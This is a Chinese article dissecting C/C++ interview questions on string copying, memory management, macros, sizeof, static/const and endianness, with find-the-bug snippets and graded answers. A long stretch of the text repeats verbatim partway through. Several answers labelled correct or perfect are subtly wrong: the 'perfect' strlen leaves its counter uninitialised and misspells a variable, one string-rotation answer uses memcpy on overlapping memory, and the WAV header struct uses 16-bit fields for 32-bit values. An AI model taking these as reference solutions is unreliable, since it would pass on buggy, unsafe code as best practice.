1.引言 本文的写作目的并不在于提供C/C++程序员求职面试指导，而旨在从技术上分析面试题的内涵。文中的大多数面试题来自各大论坛，部分试题解答也参考了网友的意见。 许多面试题看似简单，却需要深厚的基本功才能给出完美的解答。企业要求面试者写一个最简单的strcpy函数都可看出面试者在技术上究竟达到了怎样的程 度，我们能真正写好一个strcpy函数吗？我们都觉得自己能，可是我们写出的strcpy很可能只能拿到10分中的2分。读者可从本文看到strcpy 函数从2分到10分解答的例子，看看自己属于什么样的层次。此外，还有一些面试题考查面试者敏捷的思维能力。 分析这些面试题，本身包含很强的趣味性；而作为一名研发人员，通过对这些面试题的深入剖析则可进一步增强自身的内功。 2.找错题 试题1：
void test1(){ char string[10]; char* str1 = "0123456789"; strcpy( string, str1 );}
试题2：
void test2(){ char string[10], str1[10]; int i; for(i=0; i<10; i++) { str1[i] = 'a'; } strcpy( string, str1 );}
试题3：
void test3(char* str1){ char string[10]; if( strlen( str1 ) <= 10 ) { strcpy( string, str1 ); }}
解答： 试题1字符串str1需要11个字节才能存放下（包括末尾的’\0’），而string只有10个字节的空间，strcpy会导致数组越界； 对试题2，如果面试者指出字符数组str1不能在数组内结束可以给3分；如果面试者指出strcpy(string, str1)调用使得从str1内存起复制到string内存起所复制的字节数具有不确定性可以给7分，在此基础上指出库函数strcpy工作方式的给10分； 对试题3，if(strlen(str1) <= 10)应改为if(strlen(str1) < 10)，因为strlen的结果未统计’\0’所占用的1个字节。 剖析： 考查对基本功的掌握：
(1)字符串以’\0’结尾；
(2)对数组越界把握的敏感度；
(3)库函数strcpy的工作方式，如果编写一个标准strcpy函数的总分值为10，下面给出几个不同得分的答案：
2分
void strcpy( char *strDest, char *strSrc ){ while( (*strDest++ = * strSrc++) != ‘\0’ );}
4分
void strcpy( char *strDest, const char *strSrc ) //将源字符串加const，表明其为输入参数，加2分{ while( (*strDest++ = * strSrc++) != ‘\0’ );}
7分
void strcpy(char *strDest, const char *strSrc) { //对源地址和目的地址加非0断言，加3分 assert( (strDest != NULL) && (strSrc != NULL) ); while( (*strDest++ = * strSrc++) != ‘\0’ );}
10分
//为了实现链式操作，将目的地址返回，加3分！char * strcpy( char *strDest, const char *strSrc ) { assert( (strDest != NULL) && (strSrc != NULL) ); char *address = strDest; while( (*strDest++ = * strSrc++) != ‘\0’ ); return address;}
从2分到10分的几个答案我们可以清楚的看到，小小的strcpy竟然暗藏着这么多玄机，真不是盖的！需要多么扎实的基本功才能写一个完美的strcpy啊！ (4)对strlen的掌握，它没有包括字符串末尾的'\0'。 读者看了不同分值的strcpy版本，应该也可以写出一个10分的strlen函数了，完美的版本为：
int strlen( const char *str ) //输入参数const
{ assert( strt != NULL ); //断言字符串地址非0 int len; while( (*str++) != '\0' ) { len++; } return len;}
试题4：
void GetMemory( char *p ){ p = (char *) malloc( 100 );}void Test( void ) { char *str = NULL; GetMemory( str ); strcpy( str, "hello world" ); printf( str );}
试题5：
char *GetMemory( void ){ char p[] = "hello world"; return p; }void Test( void ){ char *str = NULL; str = GetMemory(); printf( str ); }
试题6：
void GetMemory( char **p, int num ){ *p = (char *) malloc( num );}void Test( void ){ char *str = NULL; GetMemory( &str, 100 );//应该加上是否申请成功 strcpy( str, "hello" ); printf( str ); }
试题7：
void Test( void ){ char *str = (char *) malloc( 100 ); strcpy( str, "hello" ); free( str ); ... //省略的其它语句}
解答： 试题4传入中GetMemory( char *p )函数的形参为字符串指针，在函数内部修改形参并不能真正的改变传入形参的值，执行完
char *str = NULL;GetMemory( str );
后的str仍然为NULL； 试题5中
char p[] = "hello world"; return p;
的p[]数组为函数内的局部自动变量，在函数返回后，内存已经被释放。这是许多程序员常犯的错误，其根源在于不理解变量的生存期。 试题6的GetMemory避免了试题4的问题，传入GetMemory的参数为字符串指针的指针，但是在GetMemory中执行申请内存及赋值语句
*p = (char *) malloc( num );
后未判断内存是否申请成功，应加上：
if ( *p == NULL ){ ...//进行申请内存失败处理}
试题7存在与试题6同样的问题，在执行
char *str = (char *) malloc(100);
后未进行内存是否申请成功的判断；另外，在free(str)后未置str为空，导致可能变成一个“野”指针，应加上：
str = NULL;
试题6的Test函数中也未对malloc的内存进行释放。
剖析：
试题4～7考查面试者对内存操作的理解程度，基本功扎实的面试者一般都能正确的回答其中50~60的错误。但是要完全解答正确，却也绝非易事。
对内存操作的考查主要集中在：
（1）指针的理解；
（2）变量的生存期及作用范围；
（3）良好的动态内存申请和释放习惯。 再看看下面的一段程序有什么错误：
swap( int* p1,int* p2 ){ int *p; *p = *p1; *p1 = *p2; *p2 = *p;}
在swap函数中，p是一个“野”指针，有可能指向系统区，导致程序运行的崩溃。在VC++中DEBUG运行时提示错误“Access Violation”。该程序应该改为：
swap( int* p1,int* p2 ){ int p; p = *p1; *p1 = *p2; *p2 = p;}
3.内功题 试题1：分别给出BOOL，int，float，指针变量 与“零值”比较的 if 语句（假设变量名为var） 解答： BOOL型变量：if(!var) int型变量： if(var==0) float型变量： const float EPSINON = 0.00001; if ((x >= - EPSINON) && (x <= EPSINON) 指针变量： if(var==NULL) 剖析： 考查对0值判断的“内功”，BOOL型变量的0判断完全可以写成if(var==0)，而int型变量也可以写成if(!var)，指针变量的判断也可以写成if(!var)，上述写法虽然程序都能正确运行，但是未能清晰地表达程序的意思。 一 般的，如果想让if判断一个变量的“真”、“假”，应直接使用if(var)、if(!var)，表明其为“逻辑”判断；如果用if判断一个数值型变量 (short、int、long等)，应该用if(var==0)，表明是与0进行“数值”上的比较；而判断指针则适宜用if(var==NULL)，这 是一种很好的编程习惯。 浮点型变量并不精确，所以不可将float变量用“==”或“！=”与数字比较，应该设法转化成“>=”或“<=”形式。如果写成if (x == 0.0)，则判为错，得0分。 试题2：以下为Windows NT下的32位C++程序，请计算sizeof的值
void Func ( char str[100] ){ sizeof( str ) = ?}void *p = malloc( 100 );sizeof ( p ) = ?
解答：
sizeof( str ) = 4sizeof ( p ) = 4
剖析：
Func ( char str[100] )函数中数组名作为函数形参时，在函数体内，数组名失去了本身的内涵，仅仅只是一个指针；在失去其内涵的同时，它还失去了其常量特性，可以作自增、自减等操作，可以被修改。
数组名的本质如下： （1）数组名指代一种数据结构，这种数据结构就是数组； 例如：
char str[10];cout << sizeof(str) << endl;
输出结果为10，str指代数据结构char[10]。 （2）数组名可以转换为指向其指代实体的指针，而且是一个指针常量，不能作自增、自减等操作，不能被修改；
char str[10]; str++; //编译出错，提示str不是左值
（3）数组名作为函数形参时，沦为普通指针。
Windows NT 32位平台下，指针的长度（占用内存的大小）为4字节，故sizeof( str ) 、sizeof ( p ) 都为4。
试题3：写一个“标准”宏MIN，这个宏输入两个参数并返回较小的一个。另外，当你写下面的代码时会发生什么事？
least = MIN(*p++, b);
解答：
#define MIN(A,B) ((A) <= (B) ? (A) : (B))
MIN(*p++, b)会产生宏的副作用
剖析：
这个面试题主要考查面试者对宏定义的使用，宏定义可以实现类似于函数的功能，但是它终归不是函数，而宏定义中括弧中的“参数”也不是真的参数，在宏展开的时候对“参数”进行的是一对一的替换。 程序员对宏定义的使用要非常小心，特别要注意两个问题： （1）谨慎地将宏定义中的“参数”和整个宏用用括弧括起来。所以，严格地讲，下述解答：
#define MIN(A,B) (A) <= (B) ? (A) : (B)#define MIN(A,B) (A <= B ? A : B )
都应判0分；
（2）防止宏的副作用。
宏定义#define MIN(A,B) ((A) <= (B) ? (A) : (B))对MIN(*p++, b)的作用结果是：
((*p++) <= (b) ? (*p++) : (*p++))
这个表达式会产生副作用，指针p会作三次++自增操作。
除此之外，另一个应该判0分的解答是：
#define MIN(A,B) ((A) <= (B) ? (A) : (B));
这个解答在宏定义的后面加“;”，显示编写者对宏的概念模糊不清，只能被无情地判0分并被面试官淘汰。
试题4：为什么标准头文件都有类似以下的结构？
#ifndef __INCvxWorksh
#define __INCvxWorksh
#ifdef __cplusplus
extern "C" {
#endif
/*...*/
#ifdef __cplusplus
}
#endif
#endif /* __INCvxWorksh */
解答：
头文件中的编译宏
#ifndef __INCvxWorksh#define __INCvxWorksh#endif
的作用是防止被重复引用。
作为一种面向对象的语言，C++支持函数重载，而过程式语言C则不支持。函数被C++编译后在symbol库中的名字与C语言的不同。例如，假设某个函数的原型为：
void foo(int x, int y);
该函数被C编译器编译后在symbol库中的名字为_foo，而C++编译器则会产生像_foo_int_int之类的名字。_foo_int_int这样的名字包含了函数名和函数参数数量及类型信息，C++就是考这种机制来实现函数重载的。
为了实现C和C++的混合编程，C++提供了C连接交换指定符号extern "C"来解决名字匹配问题，函数声明前加上extern "C"后，则编译器就会按照C语言的方式将该函数编译为_foo，这样C语言中就可以调用C++的函数了。
试题5：编写一个函数，作用是把一个char组成的字符串循环右移n个。比如原来是“abcdefghi”如果n=2，移位后应该是“hiabcdefgh” 函数头是这样的：
//pStr是指向以'\0'结尾的字符串的指针//steps是要求移动的nvoid LoopMove ( char * pStr, int steps ){ //请填充...}
解答： 正确解答1：
void LoopMove ( char *pStr, int steps ){ int n = strlen( pStr ) - steps; char tmp[MAX_LEN]; strcpy ( tmp, pStr + n ); strcpy ( tmp + steps, pStr); *( tmp + strlen ( pStr ) ) = '\0'; strcpy( pStr, tmp );}
正确解答2：
void LoopMove ( char *pStr, int steps ){ int n = strlen( pStr ) - steps; char tmp[MAX_LEN]; memcpy( tmp, pStr + n, steps ); memcpy(pStr + steps, pStr, n ); memcpy(pStr, tmp, steps ); }
剖析： 这个试题主要考查面试者对标准库函数的熟练程度，在需要的时候引用库函数可以很大程度上简化程序编写的工作量。 最频繁被使用的库函数包括： （1） strcpy （2） memcpy （3） memset 试题6：已知WAV文件格式如下表，打开一个WAV文件，以适当的数据结构组织WAV文件头并解析WAV格式的各项信息。 WAVE文件格式说明表
偏移地址
字节数
数据类型
内 容
文件头
00H
4
Char
"RIFF"标志
04H
4
int32
文件长度
08H
4
Char
"WAVE"标志
0CH
4
Char
"fmt"标志
10H
4
过渡字节（不定）
14H
2
int16
格式类别
16H
2
int16
通道数
18H
2
int16
采样率（每秒样本数），表示每个通道的播放速度
1CH
4
int32
波形音频数据传送速率
20H
2
int16
数据块的调整数（按字节算的）
22H
2
每样本的数据位数
24H
4
Char
数据标记符＂data＂
28H
4
int32
语音数据的长度
解答： 将WAV文件格式定义为结构体WAVEFORMAT：
typedef struct tagWaveFormat{ char cRiffFlag[4]; UIN32 nFileLen; char cWaveFlag[4]; char cFmtFlag[4]; char cTransition[4]; UIN16 nFormatTag ; UIN16 nChannels; UIN16 nSamplesPerSec; UIN32 nAvgBytesperSec; UIN16 nBlockAlign; UIN16 nBitNumPerSample; char cDataFlag[4]; UIN16 nAudioLength; } WAVEFORMAT;
假设WAV文件内容读出后存放在指针buffer开始的内存单元内，则分析文件格式的代码很简单，为：
WAVEFORMAT waveFormat;memcpy( &waveFormat, buffer,sizeof( WAVEFORMAT ) );
直接通过访问waveFormat的成员，就可以获得特定WAV文件的各项格式信息。 剖析： 试题6考查面试者组织数据结构的能力，有经验的程序设计者将属于一个整体的数据成员组织为一个结构体，利用指针类型转换，可以将memcpy、memset等函数直接用于结构体地址，进行结构体的整体操作。 透过这个题可以看出面试者的程序设计经验是否丰富。 试题7：编写类String的构造函数、析构函数和赋值函数，已知类String的原型为：
class String{ public: String(const char *str = NULL); // 普通构造函数 String(const String &other); // 拷贝构造函数 ~ String(void); // 析构函数 String & operate =(const String &other); // 赋值函数 private: char *m_data; // 用于保存字符串 };
解答：
//普通构造函数String::String(const char *str) { if(str==NULL) { m_data = new char[1]; // 得分点：对空字符串自动申请存放结束标志'\0'的空 //加分点：对m_data加NULL 判断 *m_data = '\0'; } else { int length = strlen(str); m_data = new char[length+1]; // 若能加 NULL 判断则更好 strcpy(m_data, str); }}// String的析构函数String::~String(void) { delete [] m_data; // 或delete m_data;}//拷贝构造函数String::String(const String &other) // 得分点：输入参数为const型{ int length = strlen(other.m_data); m_data = new char[length+1]; //加分点：对m_data加NULL 判断 strcpy(m_data, other.m_data); }//赋值函数String & String::operate =(const String &other) // 得分点：输入参数为const型{ if(this == &other) //得分点：检查自赋值 return *this; delete [] m_data; //得分点：释放原有的内存资源 int length = strlen( other.m_data ); m_data = new char[length+1]; //加分点：对m_data加NULL 判断 strcpy( m_data, other.m_data ); return *this; //得分点：返回本对象的引用}
剖析： 能够准确无误地编写出String类的构造函数、拷贝构造函数、赋值函数和析构函数的面试者至少已经具备了C++基本功的60%以上！ 在这个类中包括了指针类成员变量m_data，当类中包括指针类成员变量时，一定要重载其拷贝构造函数、赋值函数和析构函数，这既是对C++程序员的基本要求，也是《Effective C++》中特别强调的条款。 仔细学习这个类，特别注意加注释的得分点和加分点的意义，这样就具备了60%以上的C++基本功！ 试题8：请说出static和const关键字尽可能多的作用 解答： static关键字至少有下列n个作用： （1）函数体内static变量的作用范围为该函数体，不同于auto变量，该变量的内存只被分配一次，因此其值在下次调用时仍维持上次的值； （2）在模块内的static全局变量可以被模块内所用函数访问，但不能被模块外其它函数访问； （3）在模块内的static函数只可被这一模块内的其它函数调用，这个函数的使用范围被限制在声明它的模块内； （4）在类中的static成员变量属于整个类所拥有，对类的所有对象只有一份拷贝； （5）在类中的static成员函数属于整个类所拥有，这个函数不接收this指针，因而只能访问类的static成员变量。 const关键字至少有下列n个作用： （1）欲阻止一个变量被改变，可以使用const关键字。在定义该const变量时，通常需要对它进行初始化，因为以后就没有机会再去改变它了； （2）对指针来说，可以指定指针本身为const，也可以指定指针所指的数据为const，或二者同时指定为const； （3）在一个函数声明中，const可以修饰形参，表明它是一个输入参数，在函数内部不能改变其值； （4）对于类的成员函数，若指定其为const类型，则表明其是一个常函数，不能修改类的成员变量； （5）对于类的成员函数，有时候必须指定其返回值为const类型，以使得其返回值不为“左值”。例如：
const classA operator*(const classA& a1,const classA& a2);
operator*的返回结果必须是一个const对象。如果不是，这样的变态代码也不会编译出错：
classA a, b, c;(a * b) = c; // 对a*b的结果赋值
操作(a * b) = c显然不符合编程者的初衷，也没有任何意义。 剖析： 惊讶吗？小小的static和const居然有这么多功能，我们能回答几个？如果只能回答1~2个，那还真得闭关再好好修炼修炼。 这个题可以考查面试者对程序设计知识的掌握程度是初级、中级还是比较深入，没有一定的知识广度和深度，不可能对这个问题给出全面的解答。大多数人只能回答出static和const关键字的部分功能。 4.技巧题 试题1：请写一个C函数，若处理器是Big_endian的，则返回0；若是Little_endian的，则返回1 解答：
int checkCPU(){ { union w { int a; char b; } c; c.a = 1; return (c.b == 1); }}
剖析： 嵌入式系统开发者应该对Little-endian和Big-endian模式非常了解。采用Little-endian模式的CPU对操作数的存放方式是从低字节到高字节，而Big-endian模式对操作数的存放方式是从高字节到低字节。例如，16bit宽的数0x1234在Little-endian模式CPU内存中的存放方式（假设从地址0x4000开始存放）为：
内存地址
存放内容
0x4000
0x34
0x4001
0x12
而在Big-endian模式CPU内存中的存放方式则为：
内存地址
存放内容
0x4000
0x12
0x4001
0x34
32bit宽的数0x12345678在Little-endian模式CPU内存中的存放方式（假设从地址0x4000开始存放）为：
内存地址
存放内容
0x4000
0x78
0x4001
0x56
0x4002
0x34
0x4003
0x12
而在Big-endian模式CPU内存中的存放方式则为：
内存地址
存放内容
0x4000
0x12
0x4001
0x34
0x4002
0x56
0x4003
0x78
联合体union的存放顺序是所有成员都从低地址开始存放，面试者的解答利用该特性，轻松地获得了CPU对内存采用Little-endian还是Big-endian模式读写。如果谁能当场给出这个解答，那简直就是一个天才的程序员。 试题2：写一个函数返回1+2+3+…+n的值（假定结果不会超过长整型变量的范围） 解答：
int Sum( int n ){ return ( (long)1 + n) * n / 2; //或return (1l + n) * n / 2;}
剖析： 对于这个题，只能说，也许最简单的答案就是最好的答案。下面的解答，或者基于下面的解答思路去优化，不管怎么“折腾”，其效率也不可能与直接return ( 1 l + n ) * n / 2相比！
int Sum( int n ){ long sum = 0; for( int i=1; i<=n; i++ ) { sum += i; } return sum;}
所以程序员们需要敏感地将数学等知识用在程序设计中。
void test1(){ char string[10]; char* str1 = "0123456789"; strcpy( string, str1 );}
试题2：
void test2(){ char string[10], str1[10]; int i; for(i=0; i<10; i++) { str1[i] = 'a'; } strcpy( string, str1 );}
试题3：
void test3(char* str1){ char string[10]; if( strlen( str1 ) <= 10 ) { strcpy( string, str1 ); }}
解答： 试题1字符串str1需要11个字节才能存放下（包括末尾的’\0’），而string只有10个字节的空间，strcpy会导致数组越界； 对试题2，如果面试者指出字符数组str1不能在数组内结束可以给3分；如果面试者指出strcpy(string, str1)调用使得从str1内存起复制到string内存起所复制的字节数具有不确定性可以给7分，在此基础上指出库函数strcpy工作方式的给10分； 对试题3，if(strlen(str1) <= 10)应改为if(strlen(str1) < 10)，因为strlen的结果未统计’\0’所占用的1个字节。 剖析： 考查对基本功的掌握：
(1)字符串以’\0’结尾；
(2)对数组越界把握的敏感度；
(3)库函数strcpy的工作方式，如果编写一个标准strcpy函数的总分值为10，下面给出几个不同得分的答案：
2分
void strcpy( char *strDest, char *strSrc ){ while( (*strDest++ = * strSrc++) != ‘\0’ );}
4分
void strcpy( char *strDest, const char *strSrc ) //将源字符串加const，表明其为输入参数，加2分{ while( (*strDest++ = * strSrc++) != ‘\0’ );}
7分
void strcpy(char *strDest, const char *strSrc) { //对源地址和目的地址加非0断言，加3分 assert( (strDest != NULL) && (strSrc != NULL) ); while( (*strDest++ = * strSrc++) != ‘\0’ );}
10分
//为了实现链式操作，将目的地址返回，加3分！char * strcpy( char *strDest, const char *strSrc ) { assert( (strDest != NULL) && (strSrc != NULL) ); char *address = strDest; while( (*strDest++ = * strSrc++) != ‘\0’ ); return address;}
从2分到10分的几个答案我们可以清楚的看到，小小的strcpy竟然暗藏着这么多玄机，真不是盖的！需要多么扎实的基本功才能写一个完美的strcpy啊！ (4)对strlen的掌握，它没有包括字符串末尾的'\0'。 读者看了不同分值的strcpy版本，应该也可以写出一个10分的strlen函数了，完美的版本为：
int strlen( const char *str ) //输入参数const
{ assert( strt != NULL ); //断言字符串地址非0 int len; while( (*str++) != '\0' ) { len++; } return len;}
试题4：
void GetMemory( char *p ){ p = (char *) malloc( 100 );}void Test( void ) { char *str = NULL; GetMemory( str ); strcpy( str, "hello world" ); printf( str );}
试题5：
char *GetMemory( void ){ char p[] = "hello world"; return p; }void Test( void ){ char *str = NULL; str = GetMemory(); printf( str ); }
试题6：
void GetMemory( char **p, int num ){ *p = (char *) malloc( num );}void Test( void ){ char *str = NULL; GetMemory( &str, 100 );//应该加上是否申请成功 strcpy( str, "hello" ); printf( str ); }
试题7：
void Test( void ){ char *str = (char *) malloc( 100 ); strcpy( str, "hello" ); free( str ); ... //省略的其它语句}
解答： 试题4传入中GetMemory( char *p )函数的形参为字符串指针，在函数内部修改形参并不能真正的改变传入形参的值，执行完
char *str = NULL;GetMemory( str );
后的str仍然为NULL； 试题5中
char p[] = "hello world"; return p;
的p[]数组为函数内的局部自动变量，在函数返回后，内存已经被释放。这是许多程序员常犯的错误，其根源在于不理解变量的生存期。 试题6的GetMemory避免了试题4的问题，传入GetMemory的参数为字符串指针的指针，但是在GetMemory中执行申请内存及赋值语句
*p = (char *) malloc( num );
后未判断内存是否申请成功，应加上：
if ( *p == NULL ){ ...//进行申请内存失败处理}
试题7存在与试题6同样的问题，在执行
char *str = (char *) malloc(100);
后未进行内存是否申请成功的判断；另外，在free(str)后未置str为空，导致可能变成一个“野”指针，应加上：
str = NULL;
试题6的Test函数中也未对malloc的内存进行释放。
剖析：
试题4～7考查面试者对内存操作的理解程度，基本功扎实的面试者一般都能正确的回答其中50~60的错误。但是要完全解答正确，却也绝非易事。
对内存操作的考查主要集中在：
（1）指针的理解；
（2）变量的生存期及作用范围；
（3）良好的动态内存申请和释放习惯。 再看看下面的一段程序有什么错误：
swap( int* p1,int* p2 ){ int *p; *p = *p1; *p1 = *p2; *p2 = *p;}
在swap函数中，p是一个“野”指针，有可能指向系统区，导致程序运行的崩溃。在VC++中DEBUG运行时提示错误“Access Violation”。该程序应该改为：
swap( int* p1,int* p2 ){ int p; p = *p1; *p1 = *p2; *p2 = p;}
3.内功题 试题1：分别给出BOOL，int，float，指针变量 与“零值”比较的 if 语句（假设变量名为var） 解答： BOOL型变量：if(!var) int型变量： if(var==0) float型变量： const float EPSINON = 0.00001; if ((x >= - EPSINON) && (x <= EPSINON) 指针变量： if(var==NULL) 剖析： 考查对0值判断的“内功”，BOOL型变量的0判断完全可以写成if(var==0)，而int型变量也可以写成if(!var)，指针变量的判断也可以写成if(!var)，上述写法虽然程序都能正确运行，但是未能清晰地表达程序的意思。 一 般的，如果想让if判断一个变量的“真”、“假”，应直接使用if(var)、if(!var)，表明其为“逻辑”判断；如果用if判断一个数值型变量 (short、int、long等)，应该用if(var==0)，表明是与0进行“数值”上的比较；而判断指针则适宜用if(var==NULL)，这 是一种很好的编程习惯。 浮点型变量并不精确，所以不可将float变量用“==”或“！=”与数字比较，应该设法转化成“>=”或“<=”形式。如果写成if (x == 0.0)，则判为错，得0分。 试题2：以下为Windows NT下的32位C++程序，请计算sizeof的值
void Func ( char str[100] ){ sizeof( str ) = ?}void *p = malloc( 100 );sizeof ( p ) = ?
解答：
sizeof( str ) = 4sizeof ( p ) = 4
剖析：
Func ( char str[100] )函数中数组名作为函数形参时，在函数体内，数组名失去了本身的内涵，仅仅只是一个指针；在失去其内涵的同时，它还失去了其常量特性，可以作自增、自减等操作，可以被修改。
数组名的本质如下： （1）数组名指代一种数据结构，这种数据结构就是数组； 例如：
char str[10];cout << sizeof(str) << endl;
输出结果为10，str指代数据结构char[10]。 （2）数组名可以转换为指向其指代实体的指针，而且是一个指针常量，不能作自增、自减等操作，不能被修改；
char str[10]; str++; //编译出错，提示str不是左值
（3）数组名作为函数形参时，沦为普通指针。
Windows NT 32位平台下，指针的长度（占用内存的大小）为4字节，故sizeof( str ) 、sizeof ( p ) 都为4。
试题3：写一个“标准”宏MIN，这个宏输入两个参数并返回较小的一个。另外，当你写下面的代码时会发生什么事？
least = MIN(*p++, b);
解答：
#define MIN(A,B) ((A) <= (B) ? (A) : (B))
MIN(*p++, b)会产生宏的副作用
剖析：
这个面试题主要考查面试者对宏定义的使用，宏定义可以实现类似于函数的功能，但是它终归不是函数，而宏定义中括弧中的“参数”也不是真的参数，在宏展开的时候对“参数”进行的是一对一的替换。 程序员对宏定义的使用要非常小心，特别要注意两个问题： （1）谨慎地将宏定义中的“参数”和整个宏用用括弧括起来。所以，严格地讲，下述解答：
#define MIN(A,B) (A) <= (B) ? (A) : (B)#define MIN(A,B) (A <= B ? A : B )
都应判0分；
（2）防止宏的副作用。
宏定义#define MIN(A,B) ((A) <= (B) ? (A) : (B))对MIN(*p++, b)的作用结果是：
((*p++) <= (b) ? (*p++) : (*p++))
这个表达式会产生副作用，指针p会作三次++自增操作。
除此之外，另一个应该判0分的解答是：
#define MIN(A,B) ((A) <= (B) ? (A) : (B));
这个解答在宏定义的后面加“;”，显示编写者对宏的概念模糊不清，只能被无情地判0分并被面试官淘汰。
试题4：为什么标准头文件都有类似以下的结构？
#ifndef __INCvxWorksh
#define __INCvxWorksh
#ifdef __cplusplus
extern "C" {
#endif
/*...*/
#ifdef __cplusplus
}
#endif
#endif /* __INCvxWorksh */
解答：
头文件中的编译宏
#ifndef __INCvxWorksh#define __INCvxWorksh#endif
的作用是防止被重复引用。
作为一种面向对象的语言，C++支持函数重载，而过程式语言C则不支持。函数被C++编译后在symbol库中的名字与C语言的不同。例如，假设某个函数的原型为：
void foo(int x, int y);
该函数被C编译器编译后在symbol库中的名字为_foo，而C++编译器则会产生像_foo_int_int之类的名字。_foo_int_int这样的名字包含了函数名和函数参数数量及类型信息，C++就是考这种机制来实现函数重载的。
为了实现C和C++的混合编程，C++提供了C连接交换指定符号extern "C"来解决名字匹配问题，函数声明前加上extern "C"后，则编译器就会按照C语言的方式将该函数编译为_foo，这样C语言中就可以调用C++的函数了。
试题5：编写一个函数，作用是把一个char组成的字符串循环右移n个。比如原来是“abcdefghi”如果n=2，移位后应该是“hiabcdefgh” 函数头是这样的：
//pStr是指向以'\0'结尾的字符串的指针//steps是要求移动的nvoid LoopMove ( char * pStr, int steps ){ //请填充...}
解答： 正确解答1：
void LoopMove ( char *pStr, int steps ){ int n = strlen( pStr ) - steps; char tmp[MAX_LEN]; strcpy ( tmp, pStr + n ); strcpy ( tmp + steps, pStr); *( tmp + strlen ( pStr ) ) = '\0'; strcpy( pStr, tmp );}
正确解答2：
void LoopMove ( char *pStr, int steps ){ int n = strlen( pStr ) - steps; char tmp[MAX_LEN]; memcpy( tmp, pStr + n, steps ); memcpy(pStr + steps, pStr, n ); memcpy(pStr, tmp, steps ); }
剖析： 这个试题主要考查面试者对标准库函数的熟练程度，在需要的时候引用库函数可以很大程度上简化程序编写的工作量。 最频繁被使用的库函数包括： （1） strcpy （2） memcpy （3） memset 试题6：已知WAV文件格式如下表，打开一个WAV文件，以适当的数据结构组织WAV文件头并解析WAV格式的各项信息。 WAVE文件格式说明表
偏移地址
字节数
数据类型
内 容
文件头
00H
4
Char
"RIFF"标志
04H
4
int32
文件长度
08H
4
Char
"WAVE"标志
0CH
4
Char
"fmt"标志
10H
4
过渡字节（不定）
14H
2
int16
格式类别
16H
2
int16
通道数
18H
2
int16
采样率（每秒样本数），表示每个通道的播放速度
1CH
4
int32
波形音频数据传送速率
20H
2
int16
数据块的调整数（按字节算的）
22H
2
每样本的数据位数
24H
4
Char
数据标记符＂data＂
28H
4
int32
语音数据的长度
解答： 将WAV文件格式定义为结构体WAVEFORMAT：
typedef struct tagWaveFormat{ char cRiffFlag[4]; UIN32 nFileLen; char cWaveFlag[4]; char cFmtFlag[4]; char cTransition[4]; UIN16 nFormatTag ; UIN16 nChannels; UIN16 nSamplesPerSec; UIN32 nAvgBytesperSec; UIN16 nBlockAlign; UIN16 nBitNumPerSample; char cDataFlag[4]; UIN16 nAudioLength; } WAVEFORMAT;
假设WAV文件内容读出后存放在指针buffer开始的内存单元内，则分析文件格式的代码很简单，为：
WAVEFORMAT waveFormat;memcpy( &waveFormat, buffer,sizeof( WAVEFORMAT ) );
直接通过访问waveFormat的成员，就可以获得特定WAV文件的各项格式信息。 剖析： 试题6考查面试者组织数据结构的能力，有经验的程序设计者将属于一个整体的数据成员组织为一个结构体，利用指针类型转换，可以将memcpy、memset等函数直接用于结构体地址，进行结构体的整体操作。 透过这个题可以看出面试者的程序设计经验是否丰富。 试题7：编写类String的构造函数、析构函数和赋值函数，已知类String的原型为：
class String{ public: String(const char *str = NULL); // 普通构造函数 String(const String &other); // 拷贝构造函数 ~ String(void); // 析构函数 String & operate =(const String &other); // 赋值函数 private: char *m_data; // 用于保存字符串 };
解答：
//普通构造函数String::String(const char *str) { if(str==NULL) { m_data = new char[1]; // 得分点：对空字符串自动申请存放结束标志'\0'的空 //加分点：对m_data加NULL 判断 *m_data = '\0'; } else { int length = strlen(str); m_data = new char[length+1]; // 若能加 NULL 判断则更好 strcpy(m_data, str); }}// String的析构函数String::~String(void) { delete [] m_data; // 或delete m_data;}//拷贝构造函数String::String(const String &other) // 得分点：输入参数为const型{ int length = strlen(other.m_data); m_data = new char[length+1]; //加分点：对m_data加NULL 判断 strcpy(m_data, other.m_data); }//赋值函数String & String::operate =(const String &other) // 得分点：输入参数为const型{ if(this == &other) //得分点：检查自赋值 return *this; delete [] m_data; //得分点：释放原有的内存资源 int length = strlen( other.m_data ); m_data = new char[length+1]; //加分点：对m_data加NULL 判断 strcpy( m_data, other.m_data ); return *this; //得分点：返回本对象的引用}
剖析： 能够准确无误地编写出String类的构造函数、拷贝构造函数、赋值函数和析构函数的面试者至少已经具备了C++基本功的60%以上！ 在这个类中包括了指针类成员变量m_data，当类中包括指针类成员变量时，一定要重载其拷贝构造函数、赋值函数和析构函数，这既是对C++程序员的基本要求，也是《Effective C++》中特别强调的条款。 仔细学习这个类，特别注意加注释的得分点和加分点的意义，这样就具备了60%以上的C++基本功！ 试题8：请说出static和const关键字尽可能多的作用 解答： static关键字至少有下列n个作用： （1）函数体内static变量的作用范围为该函数体，不同于auto变量，该变量的内存只被分配一次，因此其值在下次调用时仍维持上次的值； （2）在模块内的static全局变量可以被模块内所用函数访问，但不能被模块外其它函数访问； （3）在模块内的static函数只可被这一模块内的其它函数调用，这个函数的使用范围被限制在声明它的模块内； （4）在类中的static成员变量属于整个类所拥有，对类的所有对象只有一份拷贝； （5）在类中的static成员函数属于整个类所拥有，这个函数不接收this指针，因而只能访问类的static成员变量。 const关键字至少有下列n个作用： （1）欲阻止一个变量被改变，可以使用const关键字。在定义该const变量时，通常需要对它进行初始化，因为以后就没有机会再去改变它了； （2）对指针来说，可以指定指针本身为const，也可以指定指针所指的数据为const，或二者同时指定为const； （3）在一个函数声明中，const可以修饰形参，表明它是一个输入参数，在函数内部不能改变其值； （4）对于类的成员函数，若指定其为const类型，则表明其是一个常函数，不能修改类的成员变量； （5）对于类的成员函数，有时候必须指定其返回值为const类型，以使得其返回值不为“左值”。例如：
const classA operator*(const classA& a1,const classA& a2);
operator*的返回结果必须是一个const对象。如果不是，这样的变态代码也不会编译出错：
classA a, b, c;(a * b) = c; // 对a*b的结果赋值
操作(a * b) = c显然不符合编程者的初衷，也没有任何意义。 剖析： 惊讶吗？小小的static和const居然有这么多功能，我们能回答几个？如果只能回答1~2个，那还真得闭关再好好修炼修炼。 这个题可以考查面试者对程序设计知识的掌握程度是初级、中级还是比较深入，没有一定的知识广度和深度，不可能对这个问题给出全面的解答。大多数人只能回答出static和const关键字的部分功能。 4.技巧题 试题1：请写一个C函数，若处理器是Big_endian的，则返回0；若是Little_endian的，则返回1 解答：
int checkCPU(){ { union w { int a; char b; } c; c.a = 1; return (c.b == 1); }}
